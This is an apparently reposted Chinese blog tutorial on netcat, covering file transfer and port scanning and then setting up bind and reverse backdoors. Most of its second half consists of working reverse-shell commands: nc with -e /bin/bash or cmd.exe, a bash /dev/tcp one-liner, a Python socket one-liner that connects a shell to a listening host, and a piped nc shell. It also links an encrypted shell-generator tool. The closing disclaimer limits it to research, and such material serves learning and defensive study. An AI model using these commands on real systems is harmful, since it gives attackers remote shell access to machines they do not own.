zoukankan      html  css  js  c++  java
  • netcat的使用

    前言

    nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。

    下载安装

    windows下下载地址:https://eternallybored.org/misc/netcat/
    下载解压将nc.exe 复制到C:WindowsSystem32的文件夹下cmd命令nc即可(也可以配环境变量)
    linux下:管理员权限下apt-get install netcat,命令行nc查看是否安装成功

    netcat基本使用

    netcat文件交互

    创建一个服务器端方法:
    nc -l -p
    创建一个客户端方法(连接服务器端)
    nc [remote_addr] [remoteport]

    netcat文件传输

    创建服务器端:
    nc -l -p 4444 > outfile.txt
    其中outfile.txt是要接受到的文件
    创建客户端:
    nc 192.168.124.133 4444 < game.pcapng
    其中game.pacpng是要发送的文件
    其中如果服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待,直到连接上服务器,造成'假死'状态.
    解决方法:设置等待时间
    nc -w 3 [ip] [port] 设置等待时间3秒,超过3秒钟,客户端直接关闭等待连接。
    netcat信息探测
    端口扫描使用

    nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
    nc -v -n -z -w1 192.168.124.133 1-1000
    

    好吧这个不和nmap一样蛮,其实和nmap是一个作者都利用tcp/ip来判断

    netcat建立后门

    监听型后门

    创建服务器端:

    ncat -l -e /bin/bash -p 4444
    

    -e 连接后执行执行某文件
    其中/bin/bash是linux的shell解释器,连接后执行该文件,如果是windows要用来命令执行
    ncat -l -e cmd.exe -p 4444
    客户端连接:执行命令
    nc -w 10 192.168.124.133 4444

    连接型后门

    服务器端:
    nc -l -p 4444
    连接端
    nc [remote_ip] [remote_port] -e /bin/bash
    windows下使用-e cmd.exe
    ncat 192.168.124.133 4444 -e /bin/bash

    netcat反弹shell(bash)

    反弹shell命令:
    bash -I >& /dev/tcp/ip/port 0>&1
    pc接受netcat命令:
    nc -lvp port

    netcat反弹shell(python)

    服务器端:
    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.124.133',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    客户端:
    nc -l -p 4444



    首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()来查看具体套接字建立的远程文件描述符。

    os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启了一个子进程,传入参数”-i” 使 bash 以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell.

    netcat反弹shell(不支持 -e)

    反弹shell命令:
    nc ip port | /bin/bash | nc ip port
    用管道来重新定向输入和输出
    pc接受netcat命令
    nc -l -p 需要启动两个监听端口
    其中一个作为输入,一个作为输出

    一个ncshell生成加密小工具(shellpy)

    地址:https://github.com/DarkSecDevelopers/Shellpy


    https://github.com/pyca/cryptography/blob/master/src/cryptography/fernet.py
    使用方法修改ip和端口运行run.py,运行shell.exe
    其中shell.py是经过加密的

    参考文章及说明

    国光大佬:https://www.sqlsec.com/2019/10/nc.html
    小玉大佬:https://www.bilibili.com/video/BV1KZ4y1L7NZ
    最后欢迎访问我的个人博客:https://lnng.top/
    说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

  • 相关阅读:
    第7次实践作业 25组
    第6次实践作业 25组
    第5次实践作业
    第4次实践作业
    第3次实践作业
    第2次实践作业
    第1次实践作业
    软工实践个人总结
    2019 SDN大作业
    C语言Il作业01
  • 原文地址:https://www.cnblogs.com/Lmg66/p/13811636.html
Copyright © 2011-2022 走看看